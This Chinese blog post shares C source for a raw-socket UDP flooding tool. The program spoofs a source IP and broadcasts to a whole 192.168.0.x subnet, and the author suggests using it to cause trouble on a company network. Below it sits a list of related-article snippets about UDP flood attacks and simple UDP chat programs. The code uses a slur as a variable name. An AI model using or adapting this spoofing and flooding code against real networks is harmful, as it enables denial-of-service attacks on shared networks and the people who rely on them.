由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.
我是在ubuntu8.04下的,需要gcc编译.
这个也添加了广播,整个网段的人都能收到了
#include <stdio.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/ip.h> //ip
#include <netinet/udp.h> //tcp
#include <stdlib.h>
#include<netinet/in.h>
unsigned short ip_sum(unsigned short *addrr2, int len2) {
register unsigned short *addrr = addrr2;
register int len = len2;
register int sum = 0;
unsigned short answer = 0;
while (len > 1) {
sum += *addrr++;
len -= 2;
}
if (len == 1) {
*(unsigned char *) (&answer) = *(unsigned char *) addrr;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
unsigned short cksum(short * buf, int nwords) {
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
int main(int argc, char *argv[]) {
int sock, size, bytes_send, psize;
psize = 0;
struct sockaddr_in sin;
struct {
struct ip iphead;
struct udphdr udphead;
unsigned char evil[];
} faggot;
size = sizeof(struct ip) + sizeof(struct udphdr) + 1 + psize;
printf("create socket\r\n");
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr("192.168.0.255"); //被攻击者ip
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &size, sizeof(size)) < 0) {
printf("2");
perror("IP_HDRINCL");
exit(1);
}
const int on = 1;//设定常量,用于打开广播模式
//设定该接口上的广播模式
if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {
printf("2");
perror("IP_HDRINCL");
exit(1);
}
faggot.evil[psize] = '\0';
printf("create iphead\r\n");
faggot.iphead.ip_v = 4;
faggot.iphead.ip_hl = 5;
faggot.iphead.ip_tos = 0x00;
faggot.iphead.ip_len = size;
faggot.iphead.ip_id = 1025;
faggot.iphead.ip_off = 0;
faggot.iphead.ip_ttl = 201;
faggot.iphead.ip_p = IPPROTO_UDP;
faggot.iphead.ip_sum = 0;
inet_aton("192.168.0.157", &faggot.iphead.ip_src);//假冒ip
inet_aton("192.168.0.255", &faggot.iphead.ip_dst);//被攻击者ip
printf("create udphead\r\n");
faggot.udphead.source = htons(12345);//假冒端口
faggot.udphead.dest = htons(80);//被攻击者端口
faggot.udphead.len = htons(sizeof(faggot.udphead) + 1 + psize);
faggot.iphead.ip_sum = ip_sum((short *) &(faggot.iphead), sizeof(faggot.iphead));
faggot.udphead.check = cksum((short *) &(faggot.udphead), size >> 1);
printf("start send\r\n");
int i = 1;
while (i > 0) {
bytes_send = sendto(sock, &faggot, size, 0, (struct sockaddr *) &sin, sizeof(sin));
i--;
// if (bytes_send > 0) {
// i++;
// printf("第%d次OK bytes_send udp %d \n", i, bytes_send);
// }
}
printf("end send\r\n");
}
分享到:
相关推荐
UDP(User Datagram Protocol)是一种无连接的传输层协议,它提供了简单、快速的服务,但缺乏TCP的连接管理和错误校验机制。正因为这种特性,UDP成为了实施网络攻击的一种手段,特别是DDoS(Distributed Denial of ...
这个udpFlood是从上面我写的那个synflood里改的,很简单,如果大家需要做两个攻击的话建议自己改一个就ok,也可以集成在一起。还能多练习,熟悉tcp和udp的区别
"基于Python语言的网络传输层UDP协议攻击性行为研究" 本文研究的主要内容是基于Python语言的网络传输层UDP协议攻击性行为研究。该研究的目的是为了解决传统网络传输层UDP协议攻击性行为判断不明的问题。为此,研究...
研究起因由于近些日子我的VPS遭受攻击,不管是win的还是linux的都遭受了UDP攻击,流量剧增不一会DOWN机了,这让我很恼火,非常想知道是谁干的 现在说下我的本地测试VPS配置 centos6.0 1.我们要查看这些流量的攻击...
下面我们将深入探讨如何使用C#编写UDP简单通信程序。 1. **创建UdpClient对象** 在C#中,首先需要创建一个UdpClient对象,这将用于发送和接收数据。例如: ```csharp UdpClient udpClient = new UdpClient(); `...
- 防止UDP洪泛攻击:由于UDP无连接,容易被用于DDoS攻击。因此,应用层需要限制同一来源的数据速率。 - 数据包大小限制:UDP报文大小限制为65535字节,超过这个大小的数据包会被截断,需要自行拆分和重组。 - ...
下面我们将详细探讨如何在C#中实现一个简单的UDP通信。 首先,我们需要了解.NET框架中的System.Net.Sockets命名空间,这个命名空间包含了Socket类,它是进行网络通信的核心。对于UDP通信,我们需要使用UdpClient类...
9. **安全性**:由于UDP的特性,它在某些情况下可能比TCP更容易受到攻击,比如UDP Flood攻击。因此,在使用UDP进行通信时,需要考虑安全策略,如防火墙规则和入侵检测系统。 10. **广播与多播**:UDP支持广播和多播...
在TCP/IP协议栈中,TCP和UDP都可以进行扫描,但UDP扫描通常更简单,因为它不需要建立连接过程。 **UDP扫描的基本原理:** UDP扫描通过发送UDP数据报到目标主机的特定端口,然后观察返回的响应来确定端口是否开放。...
相较于TCP,UDP提供了一种快速、简单的数据传输方式,适用于实时应用,如在线视频、语音通话和多人游戏等,其中数据丢失或乱序是可以接受的。 在“简单udp通信支持表情群聊”这个项目中,我们主要关注的是如何利用...
7. **安全性**:尽管UDP聊天程序相对简单,但仍然要考虑安全问题,如数据加密、防止拒绝服务攻击等。 在“UDP聊天-服务器”和“UDP聊天-客户端”这两个文件中,分别包含了服务器端和客户端的源代码。通过分析和运行...
9. **安全性**:虽然UDP聊天程序可能较简单,但安全问题不容忽视,如防止拒绝服务攻击、保护用户隐私等。 学习这个项目,开发者不仅能掌握UDP和Socket编程的基本原理,还能提升对GUI编程和多线程处理的理解。通过...
UDP(User Datagram Protocol)是传输层的一个无连接协议,它提供了简单、快速的数据传输服务,但不保证数据的可靠传输。在Java中,我们可以使用java.net包中的DatagramSocket类和DatagramPacket类来实现UDP通信。...
- 在多人游戏中,玩家可以通过UDP进行实时交互,如移动、攻击等操作。 - 文件共享:局域网内的设备可以通过UDP快速交换文件。 以上就是Unity UDP局域网通信的基本知识和应用,实际开发中还需要结合具体项目需求...
【基于UDP协议的聊天室设计】是一个典型的网络编程项目,主要涵盖了UDP(用户数据报协议)的基础知识,以及如何利用这种协议实现一个简单的聊天室功能。UDP是传输层的一种无连接协议,它不保证数据包的顺序、完整性...
7. **安全性**:由于UDP的无连接特性,它更容易受到攻击,如UDP洪水攻击。因此,在使用UDP时,必须考虑安全措施,如防火墙规则和应用层验证。 8. **UDP编程**:在编程中,使用UDP通常涉及到创建套接字,绑定到特定...
标题中的“cpp-c实现的超简单udpserver服务框架不想用cgo那就用它包装支持下”指的是使用C++和C语言编写的一个简单的UDP服务器框架,它避免了使用Go语言的cgo工具来调用C库。cgo是Go语言提供的一种机制,允许Go代码...
UDP是一种无连接的、不可靠的传输层协议,它比TCP(传输控制协议)更为轻量级,适合于对实时性要求较高的应用,如在线游戏、视频会议或简单的聊天工具。下面将详细讲解这个Java UDP聊天工具的设计与实现,以及涉及的...
10. **安全性**:由于UDP的不可靠性,聊天程序可能会面临数据包篡改、拒绝服务攻击等问题,因此需要考虑额外的安全措施,如使用加密技术保护数据安全。 基于上述知识点,开发一个基于UDP的聊天程序可能涉及到创建...